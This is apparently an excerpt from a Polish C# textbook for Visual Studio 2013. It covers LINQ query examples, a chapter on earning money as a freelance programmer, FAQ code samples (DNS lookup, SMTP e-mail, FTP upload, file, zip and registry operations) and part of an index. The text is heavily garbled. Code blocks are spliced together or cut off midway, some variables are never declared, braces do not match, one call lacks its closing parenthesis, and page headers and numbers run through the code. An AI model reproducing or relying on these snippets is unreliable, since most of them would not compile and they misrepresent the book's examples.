Zasada działania LINQ jest bardzo podobna do opisywanego wcześniej języka zapytań
SQL, tyle że operacje są wykonywane na obiektach.
6.1.1. Restrykcja
Wyszukiwanie elementów tablicy mniejszych niż 5.
public void Linq1()
{
int[] numbers = { 5, 4, 1, 3, 9, 8, 6, 7, 2, 0 };
var lowNums =
from n in numbers
where n < 5
select n;
var soldOutProducts =
from p in products
where p.UnitsInStock == 0
select p;
var expensiveInStockProducts =
from p in products
where p.UnitsInStock > 0 && p.UnitPrice > 3.00M
select p;
var waCustomers =
from c in customers
where c.Region == "WA"
select c;
Console.WriteLine("Short digits:");
foreach (var d in shortDigits)
{
Console.WriteLine("The word {0} is shorter than its value.", d);
}
}
6.1.2. Projekcja
Utworzenie sekwencji liczb o jeden większych od tych w tablicy.
public void Linq6()
{
int[] numbers = { 5, 4, 1, 3, 9, 8, 6, 7, 2, 0 };
var numsPlusOne =
from n in numbers
select n + 1;
156 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych
Console.WriteLine("Numbers + 1:");
foreach (var i in numsPlusOne)
{
Console.WriteLine(i);
}
}
var productNames =
from p in products
select p.ProductName;
Console.WriteLine("Product Names:");
foreach (var productName in productNames)
{
Console.WriteLine(productName);
}
}
var textNums =
from n in numbers
select strings[n];
Console.WriteLine("Number strings:");
foreach (var s in textNums)
{
Console.WriteLine(s);
}
}
var upperLowerWords =
from w in words
select new { Upper = w.ToUpper(), Lower = w.ToLower() };
Utworzenie tekstowej reprezentacji cyfr, których długość jest parzysta lub nieparzysta.
public void Linq10()
{
int[] numbers = { 5, 4, 1, 3, 9, 8, 6, 7, 2, 0 };
string[] strings = { "zero", "one", "two", "three", "four", "five", "six",
"seven", "eight", "nine" };
var digitOddEvens =
from n in numbers
select new { Digit = strings[n], Even = (n % 2 == 0) };
var productInfos =
from p in products
select new { p.ProductName, p.Category, Price = p.UnitPrice };
Console.WriteLine("Product Info:");
foreach (var productInfo in productInfos)
{
Console.WriteLine("{0} is in the category {1} and costs {2} per unit.",
productInfo.ProductName, productInfo.Category, productInfo.Price);
}
}
Console.WriteLine("Number: In-place?");
foreach (var n in numsInPlace)
{
Console.WriteLine("{0}: {1}", n.Num, n.InPlace);
}
}
var lowNums =
from n in numbers
where n < 5
select digits[n];
Wyświetlenie liczb z dwóch tablic, takich, by liczba z pierwszej tablicy była mniejsza
od liczby z drugiej tablicy.
public void Linq14()
{
int[] numbersA = { 0, 2, 4, 5, 6, 8, 9 };
int[] numbersB = { 1, 3, 5, 7, 8 };
var pairs =
from a in numbersA
from b in numbersB
where a < b
select new { a, b };
var orders =
from c in customers
from o in c.Orders
where o.Total < 500.00M
select new { c.CustomerID, o.OrderID, o.Total };
ObjectDumper.Write(orders);
}
var orders =
Rozdział 6. LINQ 159
from c in customers
from o in c.Orders
where o.OrderDate >= new DateTime(1998, 1, 1)
select new { c.CustomerID, o.OrderID, o.OrderDate };
ObjectDumper.Write(orders);
}
var orders =
from c in customers
from o in c.Orders
where o.Total >= 2000.0M
select new { c.CustomerID, o.OrderID, o.Total };
ObjectDumper.Write(orders);
}
6.1.3. Dzielenie
Pobieranie trzech pierwszych elementów z tablicy.
public void Linq18()
{
int[] numbers = { 5, 4, 1, 3, 9, 8, 6, 7, 2, 0 };
Console.WriteLine("First 3 numbers:");
Console.WriteLine(n);
}
}
var first3WAOrders = (
from c in customers
160 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych
from o in c.Orders
.Take(3);
int[] numbers = { 5, 4, 1, 3, 9, 8, 6, 7, 2, 0 };
}
Rozdział 6. LINQ 161
6.1.4. Kolejność
Sortowanie słów według kolejności alfabetycznej.
public void Linq24()
{
string[] words = { "cherry", "apple", "blueberry" };
var sortedWords =
from w in words
orderby w
select w;
var sortedWords =
from w in words
orderby w.Length
select w;
var sortedProducts =
from p in products
orderby p.ProductName
select p;
ObjectDumper.Write(sortedProducts);
}
ObjectDumper.Write(sortedWords);
}
var sortedDoubles =
from d in doubles
orderby d descending
select d;
var sortedProducts =
from p in products
orderby p.UnitsInStock descending
select p;
ObjectDumper.Write(sortedProducts);
}
ObjectDumper.Write(sortedWords);
}
var sortedDigits =
from d in digits
orderby d.Length, d
select d;
164 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych
Console.WriteLine("Sorted digits:");
foreach (var d in sortedDigits)
{
Console.WriteLine(d);
}
}
Wyświetlenie liczb, których druga litera to „i” w kolejności odwrotnej, niż były zapisane.
public void Linq32()
{
string[] digits = { "zero", "one", "two", "three", "four", "five", "six",
"seven", "eight", "nine" };
var reversedIDigits = (
from d in digits
where d[1] == 'i'
select d)
.Reverse();
6.1.5. Grupowanie
Grupowanie słów według ich pierwszej litery.
public void Linq33()
{
string[] words = { "blueberry", "chimpanzee", "abacus", "banana", "apple",
"cheese" };
var wordGroups =
from w in words
group w by w[0] into g
select new { FirstLetter = g.Key, Words = g };
6.1.6. Zestawy
Usuwanie duplikatów z tablicy czynników liczby 300.
public void Linq34()
{
int[] factorsOf300 = { 2, 2, 3, 5, 5 };
Pobieranie elementów z pierwszej tablicy, ale tylko tych, których nie ma drugiej tablicy.
public void Linq37()
{
int[] numbersA = { 0, 2, 4, 5, 6, 8, 9 };
int[] numbersB = { 1, 3, 5, 7, 8 };
6.1.7. Konwersje
Utworzenie tablicy z sekwencji elementów za pomocą ToArray.
public void Linq38()
{
double[] doubles = { 1.7, 2.3, 1.9, 4.1, 2.9 };
var sortedDoubles =
from d in doubles
orderby d descending
select d;
var doublesArray = sortedDoubles.ToArray();
}
var sortedWords =
from w in words
orderby w
select w;
var wordList = sortedWords.ToList();
Product product12 = (
from p in products
where p.ProductID == 12
select p)
.First();
ObjectDumper.Write(product12);
}
Console.WriteLine(firstNumOrDefault);
}
168 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych
int fourthLowNum = (
from n in numbers
where n > 5
select n)
.ElementAt(1); //second number is index 1 because sequences use 0-based indexing
6.1.10. Kwantyfikatory
Sprawdzenie, czy w sekwencji jest słowo, które zawiera w sobie znaki „ei”.
public void Linq48()
{
string[] words = { "believe", "relief", "receipt", "field" };
var orderCounts =
from c in customers
select new { c.CustomerID, OrderCount = c.Orders.Count() };
ObjectDumper.Write(orderCounts);
}
var categoryCounts =
from p in products
group p by p.Category into g
select new { Category = g.Key, ProductCount = g.Count() };
ObjectDumper.Write(categoryCounts
}
6.1.12. Różne
Doklejenie drugiej tablicy do pierwszej i utworzenie jednej sekwencji.
public void Linq62()
{
int[] numbersA = { 0, 2, 4, 5, 6, 8, 9 };
int[] numbersB = { 1, 3, 5, 7, 8 };
var q =
from c in categories
join p in products on c equals p.Category
select new { Category = c, p.ProductName };
foreach (var v in q)
{
Console.WriteLine(v.ProductName + ": " + v.Category);
}
}
var q =
from c in categories
Rozdział 6. LINQ 173
foreach (var v in q)
{
Console.WriteLine(v.Category + ":");
foreach (var p in v.Products)
{
Console.WriteLine(" " + p.ProductName);
}
}
}
174 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych
Rozdział 7.
Zarabianie
jako wolny strzelec
Ta książka przedstawia jedynie podstawy programowania w języku C# za pomocą
darmowego środowiska Visual Studio Express. Dobrą wiadomością jest, że środowi-
ska Express można bez problemów i bez opłat używać do tworzenia komercyjnych
aplikacji. Oznacza to, że masz prawo sprzedawać stworzone za jego pomocą aplikacje.
Za chwilę podam kilka pomysłów, jak można zarabiać w ten sposób samodzielnie,
bez zatrudniania się jako programista w jakiejś firmie. Jest wiele osób, które potrafią
programować, ale ze względu na naukę czy inne uwarunkowania nie mogą podjąć etato-
wej pracy jako programiści. Dlatego podsunę kilka pomysłów, jak zarobić na swoich
aplikacjach.
Znając Windows Forms czy Windows Presentation Foundation, można stworzyć różne
aplikacje dla Pulpitu. Osoba, która ma już pewne doświadczenie, może stworzyć pro-
gram magazynowy, program do zarządzania np. myjnią samochodową, salonem fry-
zjerskim czy wypożyczalnią filmów. Tutaj jednak samemu trzeba zająć się sprzedażą
i reklamą swoich produktów.
O wiele łatwiej jest, jeśli pisze się aplikacje dla Sklepu Windows czy dla Sklepu
Windows Phone. Obecnie bardziej się opłaca tworzyć dla Windows Phone niż dla
Windows 8/8.1, ze względu na większą liczbę użytkowników, którzy, jak sam zauwa-
żyłem, chętnie klikają reklamy, jakie można umieścić w swojej aplikacji. Prowadzi-
łem kiedyś dość popularny serwis dotyczący programowania ― w nadziei, że coś za-
robię, zainstalowałem w nim reklamy Google Adsense. Jedyne kliknięcia to były te,
o które prosiłem znajomych. No, może czasem ktoś przypadkowo kliknął. Całkiem inna
sytuacja jest z reklamami w aplikacjach mobilnych. Od siebie polecam Google AdMob.
Gdy już stworzysz aplikację dla Windows Phone, możesz zainstalować w niej reklamy
AdMob i za każde kliknięcie reklamy w Twojej aplikacji dostaniesz pieniądze. Czytałem
kiedyś o badaniach, z których wynikało, że Windows Phone ma największą klikal-
ność reklam, większą niż Android czy iOS, mimo że tamte górują liczbą użytkowników.
Żeby nie być gołosłownym, na rysunku 7.1 prezentuję moje zarobki z reklam z kilku
aplikacji mobilnych. Całą „zabawę” w tworzenie aplikacji zacząłem około czterech
miesięcy temu. Przedstawiona kwota nie wystarcza na utrzymanie, ale może być do-
datkiem do dochodu. Zresztą niejeden chciałby zarobić choć trochę na swoim hobby.
176 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych
Rysunek 7.1.
Moje zarobki
z czteromiesięcznej
„zabawy”
z aplikacjami
Windows Phone
Jak widać na rysunku 7.1, zarobki mają tendencję rosnącą. Zaczynałem od kwoty 13 zł
miesięcznie, a za czwarty miesiąc uzbierało się 158 zł. Wydawałem jedną albo dwie
aplikacje miesięcznie. Czyli tak naprawdę mam ich niedużo na koncie i nie są one
zbytnio rozbudowane czy bardzo popularne.
Kolejna opcja to technologia ASP.NET. Ona też daje nam dużo możliwości. Można
tworzyć strony internetowe na zlecenie. Dobrze jest wykupić dobry hosting z systemem
Windows i wszystkie tworzone strony klientów trzymać właśnie na tym serwerze. Chyba
że klient ma własne życzenia co do miejsca przechowywania strony albo ma własny
hosting. Technologia ASP.NET jest naprawdę potężna i pozwala szybko tworzyć roz-
budowane aplikacje bazodanowe. Można stworzyć aplikację np. przypominającą de-
motywatory.pl, tj. opartą na dodawaniu różnych obrazków przez użytkowników, aby
goście mogli je oglądać i oceniać. Taką aplikację można komuś sprzedać z kodem
źródłowym. Bez problemu można stworzyć aplikację do zarządzania firmą. Widziałem
aplikacje sieciowe do zarządzania salonem fryzjerskim online. Autor zarabiał dzięki
abonamentowi, ponieważ każdy salon zarządzany przez tę aplikację płacił mu co miesiąc
określoną kwotę za jej używanie.
Rozdział 7. Zarabianie jako wolny strzelec 177
Sposobów, żeby zarobić na programowaniu, jest naprawdę dużo. Można być wolnym
strzelcem i zajmować się zleceniami lub własnymi projektami i na tym zarabiać. Jest
to dobra droga dla licealisty lub studenta, a także sposób na dodatkową pracę. Są również
osoby, które tak się w tej dziedzinie rozwinęły, że z tego się utrzymują. Z drugiej
strony nic nie stoi na przeszkodzie, żeby zatrudnić się w określonej firmie jako pro-
gramista pracujący zdalnie na pół etatu, w weekendy albo współpracować na umowę
o dzieło.
class Program
{
static void Main()
{
string helion = "www.helion.pl"; //zmienna string z adresem URL
//pobierz adres IP
IPAddress[] addresslist = Dns.GetHostAddresses(helion);
class Program
180 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych
{
static void Main()
{
SmtpClient smtpClient = new SmtpClient();
NetworkCredential basicCredential = new NetworkCredential();
MailMessage message = new MailMessage();
MailAddress fromAddress = new MailAddress("nadawca@serwer.com");
int error = 0;
basicCredential.UserName = "użytkownik@serwer.com";
basicCredential.Password = "hasło";
smtpClient.Host = "smtp.serwer.com";
smtpClient.UseDefaultCredentials = false;
smtpClient.Credentials = basicCredential;
smtpClient.EnableSsl = true; //true, gdy serwer SMTP wymaga szyfrowania
message.From = fromAddress;
message.Subject = "Temat wiadomości";
try
{
smtpClient.Send(message);
}
catch
{
error = 1;
Console.WriteLine("Wystąpił błąd.");
}
finally
{
if(error == 0)
Console.WriteLine("Wiadomość została wysłana.");
}
}
}
class Program
{
static void Main()
{
FtpWebRequest ftp = (FtpWebRequest)WebRequest.
Create("ftp://ftp.serwer.com/www/plik.txt");
ftp.Credentials = new NetworkCredential("użytkownik", "hasło");
ftp.KeepAlive = true;
Rozdział 8. FAQ ― najczęściej zadawane pytania 181
ftp.UseBinary = true;
ftp.Method = WebRequestMethods.Ftp.UploadFile;
FileStream fs = File.OpenRead(@"C:\plik.txt"); //ścieżka lokalna
byte[] buffer = new byte[fs.Length];
fs.Read(buffer, 0, buffer.Length);
fs.Close();
Stream ftpstream = ftp.GetRequestStream();
ftpstream.Write(buffer, 0, buffer.Length);
ftpstream.Close();
}
}
class Program
{
[DllImport("msvcrt.dll")] //zaimportowanie biblioteki DLL
public static extern int puts(string c); //deklaracja funkcji z biblioteki
[DllImport("msvcrt.dll")] //zaimportowanie biblioteki DLL
internal static extern int _flushall(); //deklaracja funkcji z biblioteki
static void Main()
{
puts("Witaj!"); //wypisze na konsoli napis: Witaj!
_flushall();
}
}
class Program
{
static void Main()
{
Console.WriteLine("Podaj pierwszą liczbę:");
string strA = Console.ReadLine(); //wczytaj linię tekstu z konsoli
Console.WriteLine("Podaj drugą liczbę:");
string strB = Console.ReadLine(); //wczytaj linię tekstu z konsoli
Console.WriteLine("Wyniki:");
Console.WriteLine("{0} + {1} = {2}", a, b, a + b);
Console.WriteLine("{0} - {1} = {2}", a, b, a - b);
Console.WriteLine("{0} * {1} = {2}", a, b, a * b);
Console.WriteLine("{0} / {1} = {2}", a, b, a / b);
}
}
class Program
{
static void Main()
{
Complex complex1 = new Complex(17.34, 12.87);
Complex complex2 = new Complex(8.76, 5.19);
class DirectoryCopyExample
{
static void Main()
{
//kopiuje katalog cat1 do katalogu cat2 wraz z podkatalogami i plikami
DirectoryCopy(@"C:\cat1", @"C:\cat2", true);
}
if (!dir.Exists)
{
throw new DirectoryNotFoundException(
"Katalog źródłowy nie istnieje lub nie może zostać odnaleziony: "
+ sourceDirName);
}
if (!Directory.Exists(destDirName))
{
Directory.CreateDirectory(destDirName);
}
if (copySubDirs)
{
foreach (DirectoryInfo subdir in dirs)
{
string temppath = Path.Combine(destDirName, subdir.Name);
DirectoryCopy(subdir.FullName, temppath, copySubDirs);
}
}
}
}
{
string name = f.Name;
long size = f.Length;
DateTime creationTime = f.CreationTime;
Console.WriteLine("{0,-12:N0} \t{1,-20:g} \t{2}", size,
creationTime, name);
}
}
}
class Program
{
private static void Main(string[] args)
{
try
{
string dirPath = @"C:\"; //katalog do przeszukania
class Test
{
public static void Main()
{
try
{
using (StreamReader sr = new StreamReader("TestFile.txt"))
{
String line = sr.ReadToEnd(); //czytaj plik do końca
Console.WriteLine(line); //wyświetl zawartość na ekranie
}
}
catch (Exception e)
{
Console.WriteLine("Nie można odczytać danych z pliku:");
Console.WriteLine(e.Message);
}
}
}
class Program
{
private static void Main(string[] args)
{
string str = String.Empty; //utwórz pusty napis
str = Console.ReadLine(); //pobierz tekst z konsoli i zapisz do zmiennej
//utwórz Pisarza
using (StreamWriter outfile = new StreamWriter(@"C:\file1.txt"))
{
outfile.Write(str); //zapisz dane ze zmiennej str do pliku
}
}
}
186 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych
namespace ConsoleApplication
{
class Program
{
static void Main(string[] args)
{
string startPath = @"c:\example\start";
string zipPath = @"c:\example\result.zip";
string extractPath = @"c:\example\extract";
ZipFile.CreateFromDirectory(startPath, zipPath);
ZipFile.ExtractToDirectory(zipPath, extractPath);
}
}
}
class Program
{
static void Main(string[] args)
{
const string userRoot = "HKEY_CURRENT_USER";
const string subkey = "Imiona";
const string keyName = userRoot + "\\" + subkey;
class Program
{
static void Main(string[] args)
{
const string userRoot = "HKEY_CURRENT_USER";
const string subkey = "Imiona";
const string keyName = userRoot + "\\" + subkey;
class ExceptionTest
{
static double SafeDivision(double x, double y)
{
if (y == 0)
throw new System.DivideByZeroException(); //rzuć wyjątek DivideByZeroException
return x / y;
}
static void Main()
{
double a = 98, b = 0;
double result = 0;
next = Directory.GetDirectories(path);
foreach (var subdir in next) pending.Push(subdir);
}
catch
{
}
}
}
190 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych
Dodatek A
Słowa kluczowe języka C#
Słowa kluczowe są predefiniowanymi zarezerwowanymi identyfikatorami, które mają
specjalne znaczenie dla kompilatora. Nie mogą być używane jako zwykłe identyfika-
tory, o ile nie mają znaku @ jako prefiksu. Na przykład @if jest dozwolonym identyfi-
katorem, natomiast if już nie, gdyż jest to słowo kluczowe.
Tej techniki można również użyć, aby utworzyć pojedynczy plik PE z kilku plików PE,
oryginalnie utworzonych przez różne kompilatory.
194 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych
Jeśli chcemy z kodu C# uzyskać kod Asemblera IL, można użyć narzędzia ildasm.exe.
.maxstack 8
IL_0000: ldarg.0
IL_0001: call instance void [mscorlib]System.Object::.ctor()
IL_0006: ret
} //end of method Hello::.ctor
K FontDialog, 104
GroupBox, 104, 130
M
kalendarz, 105, 130 grupowanie, 104, 130 metoda, 10
kalkulator, 108 hasła, 131 abstrakcyjna, 93
naukowy, 96 Hub, 137 anonimowa, 72, 73
katalog Image, 130 BinarySearch, 38
kopiowanie, 182 kalendarza, 105, 130 Clear, 38
listowanie, 183, 184 Label, 104, 131 Clone, 38, 62
keylogger, 111 licznika czasu, 106 Copy, 38
klasa, 10, 44 LinkLabel, 104 deklarowanie, 41
abstrakcyjna, 85, 93 ListBox, 104, 131 Find, 38
bazowa, 66, 85 ListView, 105, 131 FindAll, 39
generyczna listy, 131 IndexOf, 39
Dictionary, 81 MaskedTextBox, 105 Initialize, 39
KeyedCollection, 85 MonthCalendar, 105 Main, 57
LinkedList, 79 NumericUpDown, 105 nazwana, 73
List, 80 OpenFileDialog, 105 Object.ReferenceEquals, 62
Queue, 77 Panel, 105 przeciążanie, 53
SortedDictionary, 83 Panorama, 137, 138 przypisana do delegatu, 90
SortedList, 88 PasswordBox, 131 Reverse, 40
Stack, 78 PictureBox, 105 rozszerzająca, 75, 76
hierarchia, 66 Pivot, 137, 138 Sort, 40
pochodna, 66, 68, 71 podpowiedzi, 106 statyczna, 57
przesłonianie, 68 ProgressBar, 106, 131 ToString, 71
System.Array, 37 przeglądarki internetowej, wirtualna, 66, 94
System.Math, 96 132 Microsoft Visual Studio 2013
zagnieżdżona, 11, 49 przewijana, 132 Express
zapieczętowana, 94 RadioButton, 106, 131 wersja, 7
klucz, 186, 187 RichTextBox, 106, 131 Model View Controller, Patrz:
kod ScrollViewer, 132 MVC
nienadzorowany, 42 Slider, 132 modyfikator
niezarządzany, 21 suwaka, 106, 132 dostępu, 50, 51, 61
wywołanie funkcji, 181 TabControl, 106 internal, 50
kolejka, 77 TextBlock, 132 private, 50, 51
kolekcja kluczy i wartości, 81 TextBox, 106 protected, 50
posortowana, 83, 88 Timer, 106 protected internal, 50
komentarz Tooltip, 106 public, 50
blokowy, 14 TrackBar, 106 MVC, 143
liniowy, 14 TreeView, 107, 132
XML, 14 tworzenie, 107
konstruktor, 10, 20, 47 WebBrowser, 132 N
kontrawariancja, 90 widoku drzewa, 107, 132 null, 11
kontroler, 144 zakładek, 106
kontrolka, 75, 103 kowariancja, 90
BackgroundWorker, 103 O
Button, 103, 129
Calendar, 129
L obiekt, 44
kompatybilność z typem, 24
CheckBox, 103 LINQ, 153 kopia
CheckedListBox, 103 lista, 75, 80, 105, 131 głęboka, 63
ColorDialog, 103 podwójnie łączona, 79 płytka, 62
ComboBox, 104, 130 posortowana, 88 niszczenie, 48
DatePicker, 130 rozwijana, 104, 130 tworzenie, 20, 47
DateTimePicker, 104 typ, 20
FolderBrowserDialog, 104
Spis treści 199
tablica
inicjalizacja, 39
U zapis, 153
zestaw, 165
jako argument metody, 36 unsafe code, Patrz: kod zdarzenie, 11, 75, 103
kopia, 38 nienadzorowany zmienna, 12
liczba wymiarów, 37 inicjalizacja, 12
przeszukiwanie, 38, 39 kapsułkowanie, 13
rozmiar, 40 W licznikowa, 29
sortowanie, 40 wartość null, Patrz: null nazwa, 13
wyszukiwanie binarne, 38 wiadomość e-mail, 179 opakowywanie, 53
typ wiązanie, 52 znacznik XML, 14, 15
anonimowy, 12 wielopostaciowość, znak
bool, 10, 43 Patrz: polimorfizm !, 17, 22
byte, 43 wiersz polecenia, 95 !=, 11, 25, 44
całkowitoliczbowy, 9 Windows Forms, Patrz: %, 23
char, 43 WinForms &, 22, 25, 44
decimal, 10, 43 Windows Presentation &&, 17
double, 43 Foundation, 129, 175 (), 19
enum, 43 WinForms, 75, 103, 175 *, 23, 44
float, 43 właściwość, 10, 60 */, 14
generyczny, 77 HasValue, 12 ., 19
int, 43, 71 Length, 37 /, 23
konwersja, 13 Rank, 37 /*, 14
logiczny, 10, 43 wskaźnik, 19 //, 14
long, 43 wyjątek, 34, 91, 187 ///, 14
niezarządzany, 43 wyrażenie ??, 27
nullable, 11 lambda, 72, 74 @, 191
object, 53 logiczne, 22 [ ], 19, 44
polimorficzny, 68 ||, 17
prosty, 9 Z ~, 22
konwersja, 53 +, 21, 44
referencyjny, 10, 11, 24, 62 zakładka, 106 ++, 19, 44
rozmiar, 23 zapytanie LINQ, 153, 168, <, 24, 44
rzutowanie, 13 169, 171 <<, 23
sbyte, 43 dzielenie, 159 <=, 24, 44
short, 43 grupowanie, 164 =, 12, 26
strukturalny, 13 kolejność, 161 ==, 11, 25, 44
uint, 43 konwersja, 166 >, 24, 44
ulong, 43 kwantyfikator, 168 ->, 21, 44
ushort, 43 łączenie, 172 >=, 24, 44
wskaźnikowy, 43 operacja elementarna, 167 >>, 23
wyliczeniowy, 13 projekcja, 155
zmiennoprzecinkowy, 10 restrykcja, 154